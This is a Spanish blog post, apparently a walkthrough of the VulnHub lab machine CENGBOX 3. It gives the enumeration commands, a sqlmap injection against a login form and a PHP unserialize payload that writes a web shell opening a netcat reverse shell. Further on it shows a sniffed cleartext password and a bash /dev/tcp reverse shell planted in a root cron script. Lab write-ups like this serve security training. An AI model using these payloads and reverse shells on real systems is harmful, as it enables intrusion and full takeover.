domingo, 4 de septiembre de 2022

CENGBOX: 3: vhost + PHP unserialize

 https://www.vulnhub.com/entry/cengbox-3,576/

Difficulty : Intermediate / Hard

1-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-04 18:17 CEST
PORT    STATE  SERVICE
22/tcp  closed ssh
80/tcp  open   http
443/tcp open   https

2-
En 80 no encontramos nada reseñable. La clave está en acceder por 443 y fijarnos en el certificado SSL que nos va a dar el vhost:

ceng-company.vm 

3- 

A partir de ahí buscar gobuster vhost

gobuster vhost -u https://ceng-company.vm -w ../../combdir -t 128 -k

y sacamos el subdominio que nos interesa: 

https://dev.ceng-company.vm/

4- 

Tenemos una entrada de login que atacamos con sqlmap

sqlmap -u 'https://dev.ceng-company.vm/login.php' --data 'username=admin&passwd=admin' --dbs

y sacamos las credenciales de admin

5- 

Una vez dentro tenemos un script addpoem.php que envía un poema serializado. Es el punto  vulnerable para introducir un shell reverse. Después de varias pruebas el código que funciona es el siguiente:

GET /addpoem.php?data=O:4:"Poem":3{s:8:"poemName";s:6:"x";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:23:"/var/www/html/test9.php";s:8:"poemName";s:97:"<?php system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|bash -i 2>&1|nc 192.168.2.84 8888 >/tmp/ff');";}s:9:"poemLines";s:20:"x";} HTTP/1.1

6- 

hay un user eric y le encontramos un script en opt/login.py que se ejecuta en cron, en lo que parece que utiliza dos archivos auxiliares: check.sh y whatismyip.py. No podemos ver el contenido del login.py. Tenemos además tcpdump con capabilities allow any user to sniff packets

getcap -r / 2</dev/null

/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep

que es lo que nos lleva a pensar en monitorizar la red local para ver qué hace el login.py

tcpdump -i lo -vvv -A

01:17:01.621029 IP6 (flowlabel 0x12f31, hlim 64, next-header TCP (6) payload length: 77) localhost.60348 > localhost.http: Flags [P.], cksum 0x0055 (incorrect -> 0xeba7), seq 210:255, ack 1, win 342, options [nop,nop,TS val 8377147 ecr 8377146], length 45: HTTP

`./1.M.@...................................P_'.!Gl.V...V.U.....

...;...:username=eric&password=3ricThompson%2ACovid19

nos da las credenciales de eric

7- 

una vez dentro solo hay que modificar el login.py que se ejecuta como root con otro shell reverse

import os; os.system("bash -c 'bash -i >& /dev/tcp/192.168.2.84/9999 0>&1'");

                                                                                                                                      
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9999
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 192.168.2.135.
Ncat: Connection from 192.168.2.135:52700.
bash: cannot set terminal process group (5331): Inappropriate ioctl for device
bash: no job control in this shell
root@cengbox:~# 


No hay comentarios:

Publicar un comentario